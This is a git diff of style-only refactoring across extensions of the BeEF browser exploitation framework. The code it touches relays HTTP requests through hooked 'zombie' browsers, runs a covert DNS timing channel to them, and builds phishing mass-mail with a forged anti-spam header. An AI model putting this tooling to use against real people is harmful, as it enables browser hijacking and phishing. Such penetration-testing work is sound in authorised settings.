post-data + header_key = value.split(/: /)[0] + header_value = value.split(/: /)[1] + headers[header_key] = header_value end + elsif index.positive? + header_key = value.split(/: /)[0] + header_value = value.split(/: /)[1] + headers[header_key] = header_value # only add HTTP headers, not the verb/uri/version end end # set default port if nil if @port.nil? - if uri.to_s =~ /^https?/ - # absolute - (uri.match(/^https:/)) ? @port = 443 : @port = 80 - else - # relative - (proto.eql?('https')) ? @port = 443 : @port = 80 - end + @port = if uri.to_s =~ /^https?/ + # absolute + uri.match(/^https:/) ? 443 : 80 + else + # relative + proto.eql?('https') ? 443 : 80 + end end # Build request http_request_object = { - 'id' => http_db_object.id, - 'method' => verb, - 'proto' => proto, - 'host' => @host, - 'port' => @port, - 'uri' => uri, - 'headers' => headers, + 'id' => http_db_object.id, + 'method' => verb, + 'proto' => proto, + 'host' => @host, + 'port' => @port, + 'uri' => uri, + 'headers' => headers, 'allowCrossDomain' => allow_cross_domain } # Add POST request data - if not @content_length.nil? and @content_length > 0 + if !@content_length.nil? && @content_length.positive? post_data_sliced = req_parts.slice(@post_data_index + 1, req_parts.length) @post_data = post_data_sliced.join http_request_object['data'] = @post_data end - #@note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send - headers.keys.each { |key| http_request_object['headers'][key] = headers[key] } - - print_debug "result http_request_object" + # @note: parse HTTP headers Hash, adding them to the object that will be used by beef.net.requester.send + headers.each_key { |key| http_request_object['headers'][key] = headers[key] } + + print_debug 'result http_request_object' print_debug http_request_object.to_json http_request_object diff --git a/extensions/requester/extension.rb b/extensions/requester/extension.rb index b10fa8970..ee8e5157c 100644 --- a/extensions/requester/extension.rb +++ b/extensions/requester/extension.rb @@ -4,11 +4,10 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Extension -module Requester - -end -end + module Extension + module Requester + end + end end require 'extensions/requester/models/http' diff --git a/extensions/requester/handler.rb b/extensions/requester/handler.rb index 228458b2e..be5f60945 100644 --- a/extensions/requester/handler.rb +++ b/extensions/requester/handler.rb @@ -6,12 +6,10 @@ module BeEF module Extension module Requester - # # The http handler that manages the Requester. # class Handler - H = BeEF::Core::Models::Http Z = BeEF::Core::Models::HookedBrowser @@ -24,39 +22,48 @@ module BeEF # validates the hook token beef_hook = @data['beefhook'] || nil if beef_hook.nil? - print_error "beefhook is null" + print_error 'beefhook is null' return end # validates the request id request_id = @data['cid'].to_s if request_id == '' - print_error "Original request id (command id) is null" + print_error 'Original request id (command id) is null' return end - if !BeEF::Filters::nums_only?(request_id) - print_error "Original request id (command id) is invalid" + unless BeEF::Filters.nums_only?(request_id) + print_error 'Original request id (command id) is invalid' return end # validates that a hooked browser with the beef_hook token exists in the db - zombie_db = Z.where(:session => beef_hook).first || nil - (print_error "Invalid beefhook id: the hooked browser cannot be found in the database";return) if zombie_db.nil? + zombie_db = Z.where(session: beef_hook).first || nil + if zombie_db.nil? + (print_error 'Invalid beefhook id: the hooked browser cannot be found in the database' + return) + end # validates that we have such a http request saved in the db - http_db = H.where(:id => request_id.to_i, :hooked_browser_id => zombie_db.session).first || nil + http_db = H.where(id: request_id.to_i, hooked_browser_id: zombie_db.session).first || nil if http_db.nil? - print_error "Invalid http_db: no such request found in the database" + print_error 'Invalid http_db: no such request found in the database' return end # validates that the http request has not been run before - (print_error "This http request has been saved before";return) if http_db.has_ran.eql? "complete" + if http_db.has_ran.eql? 'complete' + (print_error 'This http request has been saved before' + return) + end # validates the response code response_code = @data['results']['response_status_code'] || nil - (print_error "Http response code is null";return) if response_code.nil? + if response_code.nil? + (print_error 'Http response code is null' + return) + end # save the results in the database http_db.response_headers = @data['results']['response_headers'] @@ -65,13 +72,11 @@ module BeEF http_db.response_port_status = @data['results']['response_port_status'] http_db.response_data = @data['results']['response_data'] http_db.response_date = Time.now - http_db.has_ran = "complete" + http_db.has_ran = 'complete' # Store images as binary # see issue https://github.com/beefproject/beef/issues/449 - if http_db.response_headers =~ /Content-Type: image/ - http_db.response_data = http_db.response_data.unpack('a*') - end + http_db.response_data = http_db.response_data.unpack('a*') if http_db.response_headers =~ /Content-Type: image/ http_db.save end diff --git a/extensions/requester/models/http.rb b/extensions/requester/models/http.rb index aaceb6e88..02c782036 100644 --- a/extensions/requester/models/http.rb +++ b/extensions/requester/models/http.rb @@ -4,23 +4,28 @@ # See the file 'doc/COPYING' for copying permission # module BeEF -module Core -module Models - # - # Table stores the http requests and responses from the requester. - # - class Http < BeEF::Core::Model - - # - # Removes a request/response from the data store - # - def self.delete(id) - (print_error "Failed to remove response. Invalid response ID."; return) if id.to_s !~ /\A\d+\z/ - r = BeEF::Core::Models::Http.find(id.to_i) - (print_error "Failed to remove response [id: #{id}]. Response does not exist."; return) if r.nil? - r.destroy + module Core + module Models + # + # Table stores the http requests and responses from the requester. + # + class Http < BeEF::Core::Model + # + # Removes a request/response from the data store + # + def self.delete(id) + if id.to_s !~ /\A\d+\z/ + (print_error 'Failed to remove response. Invalid response ID.' + return) + end + r = BeEF::Core::Models::Http.find(id.to_i) + if r.nil? + (print_error "Failed to remove response [id: #{id}]. Response does not exist." + return) + end + r.destroy + end + end end end end -end -end diff --git a/extensions/requester/rest/requester.rb b/extensions/requester/rest/requester.rb index 476d9d151..8bb825411 100644 --- a/extensions/requester/rest/requester.rb +++ b/extensions/requester/rest/requester.rb @@ -6,10 +6,8 @@ module BeEF module Extension module Requester - # This class handles the routing of RESTful API requests for the requester class RequesterRest < BeEF::Core::Router::Router - # Filters out bad requests before performing any routing before do config = BeEF::Core::Configuration.instance @@ -29,264 +27,233 @@ module BeEF # Returns a request by ID get '/request/:id' do - begin - id = params[:id] - raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id) + id = params[:id] + raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) - requests = H.find(id) - halt 404 if requests.nil? + requests = H.find(id) + halt 404 if requests.nil? - result = {} - result[:count] = requests.length - result[:requests] = [] - requests.each do |request| - result[:requests] << request2hash(request) - end - - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving request with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = requests.length + result[:requests] = [] + requests.each do |request| + result[:requests] << request2hash(request) end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving request with id #{id} (#{e.message})" + halt 500 end # Returns all requestes given a specific hooked browser id get '/requests/:id' do - begin - id = params[:id] - raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id) + id = params[:id] + raise InvalidParamError, 'id' unless BeEF::Filters.is_valid_hook_session_id?(id) - requests = H.where(:hooked_browser_id => id) - halt 404 if requests.nil? + requests = H.where(hooked_browser_id: id) + halt 404 if requests.nil? - result = {} - result[:count] = requests.length - result[:requests] = [] - requests.each do |request| - result[:requests] << request2hash(request) - end - - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})" - halt 500 + result = {} + result[:count] = requests.length + result[:requests] = [] + requests.each do |request| + result[:requests] << request2hash(request) end + + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving request list for hooked browser with id #{id} (#{e.message})" + halt 500 end # Return a response by ID get '/response/:id' do - begin + # super debugging - # super debugging + error = {} - error = {} + error[:code] = 0 - error[:code]=0 + id = params[:id] + raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) - id = params[:id] - raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id) - error[:code]=1 + error[:code] = 1 - responses = H.find(id) || nil - error[:code]=2 - halt 404 if responses.nil? - error[:code]=3 - result = {} - result[:success] = 'true' - error[:code]=4 + responses = H.find(id) || nil + error[:code] = 2 + halt 404 if responses.nil? + error[:code] = 3 + result = {} + result[:success] = 'true' + error[:code] = 4 - result[:result] = response2hash(responses) - error[:code]=5 + result[:result] = response2hash(responses) + error[:code] = 5 - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while retrieving response with id #{id} (#{e.message})" - - error[:id] = id - error[:message] = e.message - error.to_json - # halt 500 - end + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while retrieving response with id #{id} (#{e.message})" + + error[:id] = id + error[:message] = e.message + error.to_json + # halt 500 end # Deletes a specific response given its id delete '/response/:id' do - begin - id = params[:id] - raise InvalidParamError, 'id' unless BeEF::Filters::nums_only?(id) + id = params[:id] + raise InvalidParamError, 'id' unless BeEF::Filters.nums_only?(id) - responses = H.find(id) || nil - halt 404 if responses.nil? + responses = H.find(id) || nil + halt 404 if responses.nil? - result = {} - result['success'] = H.delete(id) - result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while removing response with id #{id} (#{e.message})" - halt 500 - end + result = {} + result['success'] = H.delete(id) + result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while removing response with id #{id} (#{e.message})" + halt 500 end # Send a new HTTP request to the hooked browser post '/send/:id' do - begin - id = params[:id] - proto = params[:proto].to_s || 'http' - raw_request = params['raw_request'].to_s + id = params[:id] + proto = params[:proto].to_s || 'http' + raw_request = params['raw_request'].to_s - zombie = HB.where(:session => id).first || nil - halt 404 if zombie.nil? + zombie = HB.where(session: id).first || nil + halt 404 if zombie.nil? + # @TODO: move most of this to the model + raise InvalidParamError, 'raw_request' if raw_request == '' - # @TODO: move most of this to the model + raise InvalidParamError, 'raw_request: Invalid request URL scheme' if proto !~ /\Ahttps?\z/ - if raw_request == '' - raise InvalidParamError, 'raw_request' - end + req_parts = raw_request.split(/ |\n/) - if proto !~ /\Ahttps?\z/ - raise InvalidParamError, 'raw_request: Invalid request URL scheme' - end + verb = req_parts[0] + raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' unless BeEF::Filters.is_valid_verb?(verb) - req_parts = raw_request.split(/ |\n/) + uri = req_parts[1] + raise InvalidParamError, 'raw_request: Invalid URI' unless BeEF::Filters.is_valid_url?(uri) - verb = req_parts[0] - if not BeEF::Filters.is_valid_verb?(verb) - raise InvalidParamError, 'raw_request: Only HEAD, GET, POST, OPTIONS, PUT or DELETE requests are supported' - end + version = req_parts[2] + raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_http_version?(version) - uri = req_parts[1] - if not BeEF::Filters.is_valid_url?(uri) - raise InvalidParamError, 'raw_request: Invalid URI' - end + host_str = req_parts[3] + raise InvalidParamError, 'raw_request: Invalid HTTP version' unless BeEF::Filters.is_valid_host_str?(host_str) - version = req_parts[2] - if not BeEF::Filters.is_valid_http_version?(version) - raise InvalidParamError, 'raw_request: Invalid HTTP version' - end + # Validate target hsot + host = req_parts[4] + host_parts = host.split(/:/) + host_name = host_parts[0] + host_port = host_parts[1] || nil - host_str = req_parts[3] - if not BeEF::Filters.is_valid_host_str?(host_str) - raise InvalidParamError, 'raw_request: Invalid HTTP version' - end + raise InvalidParamError, 'raw_request: Invalid HTTP HostName' unless BeEF::Filters.is_valid_hostname?(host_name) - # Validate target hsot - host = req_parts[4] - host_parts = host.split(/:/) - host_name = host_parts[0] - host_port = host_parts[1] || nil - - unless BeEF::Filters.is_valid_hostname?(host_name) - raise InvalidParamError, 'raw_request: Invalid HTTP HostName' - end - - host_port = host_parts[1] || nil - if host_port.nil? || !BeEF::Filters::nums_only?(host_port) - host_port = proto.eql?('https') ? 443 : 80 - end - - # Save the new HTTP request - http = H.new( - :hooked_browser_id => zombie.session, - :request => raw_request, - :method => verb, - :proto => proto, - :domain => host_name, - :port => host_port, - :path => uri, - :request_date => Time.now, - :allow_cross_domain => "true", - ) - - print_debug "added new http request for #{zombie.session}" - print_debug http.to_json - - if verb.eql?('POST') || verb.eql?('PUT') - req_parts.each_with_index do |value, index| - if value.match(/^Content-Length/i) - http.content_length = req_parts[index+1] - end - end - end - - http.save - - result = request2hash(http) - print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}" - - #result.to_json - rescue InvalidParamError => e - print_error e.message - halt 400 - rescue StandardError => e - print_error "Internal error while removing network host with id #{id} (#{e.message})" - halt 500 + host_port = host_parts[1] || nil + if host_port.nil? || !BeEF::Filters.nums_only?(host_port) + host_port = proto.eql?('https') ? 443 : 80 end + + # Save the new HTTP request + http = H.new( + hooked_browser_id: zombie.session, + request: raw_request, + method: verb, + proto: proto, + domain: host_name, + port: host_port, + path: uri, + request_date: Time.now, + allow_cross_domain: 'true' + ) + + print_debug "added new http request for #{zombie.session}" + print_debug http.to_json + + if verb.eql?('POST') || verb.eql?('PUT') + req_parts.each_with_index do |value, index| + http.content_length = req_parts[index + 1] if value.match(/^Content-Length/i) + end + end + + http.save + + result = request2hash(http) + print_debug "[Requester] Sending HTTP request through zombie [ip: #{zombie.ip}] : #{result}" + + # result.to_json + rescue InvalidParamError => e + print_error e.message + halt 400 + rescue StandardError => e + print_error "Internal error while removing network host with id #{id} (#{e.message})" + halt 500 end # Convert a request object to Hash def request2hash(http) { - :id => http.id, - :proto => http.proto, - :domain => http.domain, - :port => http.port, - :path => http.path, - :has_ran => http.has_ran, - :method => http.method, - :request_date => http.request_date, - :response_date => http.response_date, - :response_status_code => http.response_status_code, - :response_status_text => http.response_status_text, - :response_port_status => http.response_port_status + id: http.id, + proto: http.proto, + domain: http.domain, + port: http.port, + path: http.path, + has_ran: http.has_ran, + method: http.method, + request_date: http.request_date, + response_date: http.response_date, + response_status_code: http.response_status_code, + response_status_text: http.response_status_text, + response_port_status: http.response_port_status } end # Convert a response object to Hash def response2hash(http) + response_data = '' - response_data = "" - - if not http.response_data.nil? - if http.response_data.length > (1024 * 100) # more thank 100K - response_data = http.response_data[0..(1024*100)] - response_data += "\n<---------- Response Data Truncated---------->" - end + if !http.response_data.nil? && (http.response_data.length > (1024 * 100)) # more thank 100K + response_data = http.response_data[0..(1024 * 100)] + response_data += "\n<---------- Response Data Truncated---------->" end - response_headers = "" - response_headers = http.response_headers if not http.response_headers.nil? + response_headers = '' + response_headers = http.response_headers unless http.response_headers.nil? { - :id => http.id, - :request => http.request.force_encoding('UTF-8'), - :response => response_data.force_encoding('UTF-8'), - :response_headers => response_headers.force_encoding('UTF-8'), - :proto => http.proto.force_encoding('UTF-8'), - :domain => http.domain.force_encoding('UTF-8'), - :port => http.port.force_encoding('UTF-8'), - :path => http.path.force_encoding('UTF-8'), - :date => http.request_date, - :has_ran => http.has_ran.force_encoding('UTF-8') + id: http.id, + request: http.request.force_encoding('UTF-8'), + response: response_data.force_encoding('UTF-8'), + response_headers: response_headers.force_encoding('UTF-8'), + proto: http.proto.force_encoding('UTF-8'), + domain: http.domain.force_encoding('UTF-8'), + port: http.port.force_encoding('UTF-8'), + path: http.path.force_encoding('UTF-8'), + date: http.request_date, + has_ran: http.has_ran.force_encoding('UTF-8') } end # Raised when invalid JSON input is passed to an /api/requester handler. class InvalidJsonError < StandardError - DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler' + DEFAULT_MESSAGE = 'Invalid JSON input passed to /api/requester handler'.freeze def initialize(message = nil) super(message || DEFAULT_MESSAGE) @@ -295,11 +262,11 @@ module BeEF # Raised when an invalid named parameter is passed to an /api/requester handler. class InvalidParamError < StandardError - DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler' + DEFAULT_MESSAGE = 'Invalid parameter passed to /api/requester handler'.freeze def initialize(message = nil) - str = "Invalid \"%s\" parameter passed to /api/requester handler" - message = sprintf str, message unless message.nil? + str = 'Invalid "%s" parameter passed to /api/requester handler' + message = format str, message unless message.nil? super(message) end end diff --git a/extensions/s2c_dns_tunnel/api.rb b/extensions/s2c_dns_tunnel/api.rb index 3ad2d4dc5..c48700d30 100644 --- a/extensions/s2c_dns_tunnel/api.rb +++ b/extensions/s2c_dns_tunnel/api.rb @@ -7,37 +7,33 @@ module BeEF module Extension module ServerClientDnsTunnel module API - module ServerClientDnsTunnelHandler - - BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, - BeEF::API::Server, 'pre_http_start' ) - BeEF::API::Registrar.instance.register( BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, - BeEF::API::Server, 'mount_handler' ) + BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, + BeEF::API::Server, 'pre_http_start') + BeEF::API::Registrar.instance.register(BeEF::Extension::ServerClientDnsTunnel::API::ServerClientDnsTunnelHandler, + BeEF::API::Server, 'mount_handler') # Starts the S2C DNS Tunnel server at BeEF startup. # @param http_hook_server [BeEF::Core::Server] HTTP server instance - def self.pre_http_start(http_hook_server) - + def self.pre_http_start(_http_hook_server) configuration = BeEF::Core::Configuration.instance zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') - raise ArgumentError,'zone name is undefined' unless zone.to_s != "" + raise ArgumentError, 'zone name is undefined' unless zone.to_s != '' # if listen parameter is not defined in the config.yaml then interface with the highest BeEF's IP-address will be choosen listen = configuration.get('beef.extension.s2c_dns_tunnel.listen') - Socket.ip_address_list.map {|x| listen = x.ip_address if x.ipv4?} if listen.to_s.empty? + Socket.ip_address_list.map { |x| listen = x.ip_address if x.ipv4? } if listen.to_s.empty? port = 53 protocol = :udp interfaces = [[protocol, listen, port]] dns = BeEF::Extension::ServerClientDnsTunnel::Server.instance - dns.run(:listen => interfaces, :zone => zone) + dns.run(listen: interfaces, zone: zone) print_info "Server-to-Client DNS Tunnel Server: #{listen}:#{port} (#{protocol})" info = '' - info += "Zone: " + zone + "\n" + info += "Zone: #{zone}\n" print_more info - end # Mounts the handler for processing HTTP image requests. @@ -47,9 +43,7 @@ module BeEF zone = configuration.get('beef.extension.s2c_dns_tunnel.zone') beef_server.mount('/tiles', BeEF::Extension::ServerClientDnsTunnel::Httpd.new(zone)) end - end - end end end diff --git a/extensions/s2c_dns_tunnel/dnsd.rb b/extensions/s2c_dns_tunnel/dnsd.rb index 29d0b2c65..5b97f4a51 100644 --- a/extensions/s2c_dns_tunnel/dnsd.rb +++ b/extensions/s2c_dns_tunnel/dnsd.rb @@ -6,36 +6,34 @@ module BeEF module Extension module ServerClientDnsTunnel + module RubyDNS + class Transaction + def fail!(rcode, domain) + append_question! - class RubyDNS::Transaction + @answer.rcode = if rcode.is_a? Symbol + Resolv::DNS::RCode.const_get(rcode) + else + rcode.to_i + end - def fail!(rcode,domain) - append_question! + return unless rcode == :NXDomain - if rcode.kind_of? Symbol - @answer.rcode = Resolv::DNS::RCode.const_get(rcode) - else - @answer.rcode = rcode.to_i - end - - if rcode == :NXDomain @answer.aa = 1 - soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns." + domain), - Resolv::DNS::Name.create("hostmaster." + domain), - Time.now.strftime("%Y%m%d%H").to_i,86400,7200,3600000,172800 - ) - @answer.add_authority(name,3600,soa) + soa = Resolv::DNS::Resource::IN::SOA.new(Resolv::DNS::Name.create("ns.#{domain}"), + Resolv::DNS::Name.create("hostmaster.#{domain}"), + Time.now.strftime('%Y%m%d%H').to_i, 86_400, 7200, 3_600_000, 172_800) + @answer.add_authority(name, 3600, soa) end end end class Server < RubyDNS::Server - include Singleton attr_accessor :messages - def initialize() + def initialize super() @lock = Mutex.new end @@ -50,13 +48,12 @@ module BeEF Thread.new do EventMachine.next_tick do listen = options[:listen] || nil - super(:listen => listen) + super(listen: listen) - @selfip = options[:listen][0][1] - @zone = options[:zone] + @selfip = options[:listen][0][1] + @zone = options[:zone] @messages = {} - - end + end end end end @@ -66,11 +63,11 @@ module BeEF # @param name [String] name of the resource record being looked up # @param resource [Resolv::DNS::Resource::IN] query type (e.g. A, CNAME, NS, etc.) # @param transaction [RubyDNS::Transaction] internal RubyDNS class detailing DNS question/answer - def process(name,resource,transaction) + def process(name, resource, transaction) @lock.synchronize do print_debug "Received DNS request (name: #{name} type: #{format_resource(resource)})" - if format_resource(resource) != 'A' or not name.match(/#{@zone}$/) - transaction.fail!(:Refused,@zone) + if (format_resource(resource) != 'A') || !name.match(/#{@zone}$/) + transaction.fail!(:Refused, @zone) return end @@ -78,31 +75,32 @@ module BeEF cid = name.split('.')[2].split('-')[2].to_i bit = name.split('.')[2].split('-')[3].to_i(16) - if @messages[cid] != nil - message = @messages[cid] - else - transaction.fail!(:NXDomain,@zone) + if @messages[cid].nil? + transaction.fail!(:NXDomain, @zone) return + else + message = @messages[cid] end if message.length <= bit - transaction.fail!(:NXDomain,@zone) + transaction.fail!(:NXDomain, @zone) return - end + end # If the bit is equal to 1 we should return one of the BeEF's IP addresses - if message[bit] == '1' + case message[bit] + when '1' transaction.respond!(@selfip) return - # If the bit is equal to 0 we should return NXDomain message - elsif message[bit] == '0' - transaction.fail!(:NXDomain,@zone) + # If the bit is equal to 0 we should return NXDomain message + when '0' + transaction.fail!(:NXDomain, @zone) return end end - end + end - private + private # Helper method that formats the given resource class in a human-readable format. # @@ -111,7 +109,6 @@ module BeEF def format_resource(resource) /::(\w+)$/.match(resource.name)[1] end - end end end diff --git a/extensions/s2c_dns_tunnel/extension.rb b/extensions/s2c_dns_tunnel/extension.rb index 57bb69139..c4d22157c 100644 --- a/extensions/s2c_dns_tunnel/extension.rb +++ b/extensions/s2c_dns_tunnel/extension.rb @@ -6,13 +6,11 @@ module BeEF module Extension module ServerClientDnsTunnel - extend BeEF::API::Extension @short_name = 'S2C DNS Tunnel' @full_name = 'Server-to-Client DNS Tunnel' - @description = 'This extension provides a custom BeEF\'s DNS server and HTTP server ' + + @description = 'This extension provides a custom BeEF DNS server and HTTP server ' \ 'that implement unidirectional covert timing channel from BeEF communication server to zombie browser.' - end end end diff --git a/extensions/s2c_dns_tunnel/httpd.rb b/extensions/s2c_dns_tunnel/httpd.rb index c014ed8c8..ef775e6cc 100644 --- a/extensions/s2c_dns_tunnel/httpd.rb +++ b/extensions/s2c_dns_tunnel/httpd.rb @@ -1,22 +1,19 @@ module BeEF module Extension module ServerClientDnsTunnel - class Httpd < Sinatra::Base - def initialize(domain) super() @domain = domain end - get "/map" do + get '/map' do if request.host.match("^_ldap\._tcp\.[0-9a-z\-]+\.domains\._msdcs\.#{@domain}$") path = File.dirname(__FILE__) send_file File.join(path, 'pixel.jpg') end end end - end end end diff --git a/extensions/social_engineering/extension.rb b/extensions/social_engineering/extension.rb index e98da0735..141b03144 100644 --- a/extensions/social_engineering/extension.rb +++ b/extensions/social_engineering/extension.rb @@ -5,13 +5,12 @@ # module BeEF module Extension - module RegisterSEngHandler def self.mount_handler(server) server.mount('/api/seng', BeEF::Extension::SocialEngineering::SEngRest.new) ps_url = BeEF::Core::Configuration.instance.get('beef.extension.social_engineering.powershell.powershell_handler_url') - server.mount("#{ps_url}", BeEF::Extension::SocialEngineering::Bind_powershell.new) + server.mount(ps_url.to_s, BeEF::Extension::SocialEngineering::Bind_powershell.new) end end @@ -36,15 +35,7 @@ require 'extensions/social_engineering/powershell/bind_powershell' # Models require 'extensions/social_engineering/models/web_cloner' require 'extensions/social_engineering/models/interceptor' -#require 'extensions/social_engineering/models/mass_mailer' +# require 'extensions/social_engineering/models/mass_mailer' # RESTful api endpoints require 'extensions/social_engineering/rest/socialengineering' - - - - - - - - diff --git a/extensions/social_engineering/mass_mailer/mass_mailer.rb b/extensions/social_engineering/mass_mailer/mass_mailer.rb index ace4451a3..5c63a517e 100644 --- a/extensions/social_engineering/mass_mailer/mass_mailer.rb +++ b/extensions/social_engineering/mass_mailer/mass_mailer.rb @@ -13,8 +13,8 @@ module BeEF def initialize @config = BeEF::Core::Configuration.instance - @config_prefix = "beef.extension.social_engineering.mass_mailer" - @templates_dir = "#{File.expand_path('../../../../extensions/social_engineering/mass_mailer/templates', __FILE__)}/" + @config_prefix = 'beef.extension.social_engineering.mass_mailer' + @templates_dir = "#{File.expand_path('../../../extensions/social_engineering/mass_mailer/templates', __dir__)}/" @user_agent = @config.get("#{@config_prefix}.user_agent") @host = @config.get("#{@config_prefix}.host") @@ -31,10 +31,10 @@ module BeEF # create new SSL context and disable CA chain validation if @config.get("#{@config_prefix}.use_tls") @ctx = OpenSSL::SSL::SSLContext.new - if not @config.get("#{@config_prefix}.verify_ssl") + unless @config.get("#{@config_prefix}.verify_ssl") @ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE # In case the SMTP server uses a self-signed cert, we proceed anyway end - @ctx.ssl_version = "TLSv1" + @ctx.ssl_version = 'TLSv1' end n = tos_hash.size @@ -75,27 +75,26 @@ module BeEF boundary = "------------#{random_string(24)}" rel_boundary = "------------#{random_string(24)}" - header = email_headers(fromaddr, fromname, @user_agent, to, subject, msg_id, boundary) plain_body = email_plain_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.plain", template), boundary) rel_header = email_related(rel_boundary) - html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template),rel_boundary) + html_body = email_html_body(parse_template(name, link, linktext, "#{@templates_dir}#{template}/mail.html", template), rel_boundary) - images = "" + images = '' @config.get("#{@config_prefix}.templates.#{template}.images").each do |image| - images += email_add_image(image, "#{@templates_dir}#{template}/#{image}",rel_boundary) + images += email_add_image(image, "#{@templates_dir}#{template}/#{image}", rel_boundary) end - attachments = "" - if @config.get("#{@config_prefix}.templates.#{template}.attachments") != nil + attachments = '' + unless @config.get("#{@config_prefix}.templates.#{template}.attachments").nil? @config.get("#{@config_prefix}.templates.#{template}.attachments").each do |attachment| - attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}",rel_boundary) + attachments += email_add_attachment(attachment, "#{@templates_dir}#{template}/#{attachment}", rel_boundary) end end close = email_close(boundary) - rescue => e - print_error "Error constructing email." + rescue StandardError => e + print_error 'Error constructing email.' raise end @@ -105,143 +104,135 @@ module BeEF end def email_headers(from, fromname, user_agent, to, subject, msg_id, boundary) - headers = < -Reply-To: "#{fromname}" <#{from}> -Return-Path: "#{fromname}" <#{from}> -X-Mailer: #{user_agent} -To: #{to} -Message-ID: <#{msg_id}@#{@host}> -X-Spam-Status: No, score=0.001 required=5 -Subject: #{subject} -MIME-Version: 1.0 -Content-Type: multipart/alternative; - boundary=#{boundary} + <<~EOF + From: "#{fromname}" <#{from}> + Reply-To: "#{fromname}" <#{from}> + Return-Path: "#{fromname}" <#{from}> + X-Mailer: #{user_agent} + To: #{to} + Message-ID: <#{msg_id}@#{@host}> + X-Spam-Status: No, score=0.001 required=5 + Subject: #{subject} + MIME-Version: 1.0 + Content-Type: multipart/alternative; + boundary=#{boundary} -This is a multi-part message in MIME format. ---#{boundary} -EOF - headers + This is a multi-part message in MIME format. + --#{boundary} + EOF end def email_plain_body(plain_text, boundary) - plain_body = < -Content-Disposition: inline; - filename="#{name}" + file_encoded = [File.read(path)].pack('m') # base64 encoded + <<~EOF + Content-Type: #{get_mime(path)}; + name="#{name}" + Content-Transfer-Encoding: base64 + Content-ID: <#{name}> + Content-Disposition: inline; + filename="#{name}" -#{file_encoded} ---#{rel_boundary} -EOF - image + #{file_encoded} + --#{rel_boundary} + EOF end def email_add_attachment(name, path, rel_boundary) - file_encoded = [File.read(path)].pack("m") # base64 encoded - image = < 'application/json; charset=UTF-8', 'Pragma' => 'no-cache', 'Cache-Control' => 'no-cache', @@ -33,19 +32,19 @@ module BeEF request.body.rewind begin body = JSON.parse request.body.read - uri = body["url"] - mount = body["mount"] - use_existing = body["use_existing"] - dns_spoof = body["dns_spoof"] + uri = body['url'] + mount = body['mount'] + use_existing = body['use_existing'] + dns_spoof = body['dns_spoof'] - if uri != nil && mount != nil - if (uri =~ URI::regexp).nil? #invalid URI - print_error "Invalid URI" + if !uri.nil? && !mount.nil? + if (uri =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI + print_error 'Invalid URI' halt 401 end - if !mount[/^\//] # mount needs to start with / - print_error "Invalid mount (need to be a relative path, and start with / )" + unless mount[%r{^/}] # mount needs to start with / + print_error 'Invalid mount (need to be a relative path, and start with / )' halt 401 end @@ -54,19 +53,18 @@ module BeEF if success result = { - "success" => true, - "mount" => mount + 'success' => true, + 'mount' => mount }.to_json else result = { - "success" => false + 'success' => false }.to_json halt 500 end end - - rescue => e - print_error "Invalid JSON input passed to endpoint /api/seng/clone_page" + rescue StandardError + print_error 'Invalid JSON input passed to endpoint /api/seng/clone_page' error 400 # Bad Request end end @@ -74,7 +72,7 @@ module BeEF # Example: curl -H "Content-Type: application/json; charset=UTF-8" -d 'json_body' #-X POST http://127.0.0.1:3000/api/seng/send_mails?token=68f76c383709414f647eb4ba8448370453dd68b7 # Example json_body: - #{ + # { # "template": "default", # "subject": "Hi from BeEF", # "fromname": "BeEF", @@ -84,31 +82,31 @@ module BeEF # "recipients": [{ # "user1@gmail.com": "Michele", # "user2@antisnatchor.com": "Antisnatchor" - #}] - #} + # }] + # } post '/send_mails' do request.body.rewind begin body = JSON.parse request.body.read - template = body["template"] - subject = body["subject"] - fromname = body["fromname"] - fromaddr = body["fromaddr"] - link = body["link"] - linktext = body["linktext"] + template = body['template'] + subject = body['subject'] + fromname = body['fromname'] + fromaddr = body['fromaddr'] + link = body['link'] + linktext = body['linktext'] if template.nil? || subject.nil? || fromaddr.nil? || fromname.nil? || link.nil? || linktext.nil? - print_error "All parameters are mandatory." + print_error 'All parameters are mandatory.' halt 401 end - if (link =~ URI::regexp).nil? #invalid URI - print_error "Invalid link or linktext" + if (link =~ URI::DEFAULT_PARSER.make_regexp).nil? # invalid URI + print_error 'Invalid link or linktext' halt 401 end - recipients = body["recipients"][0] + recipients = 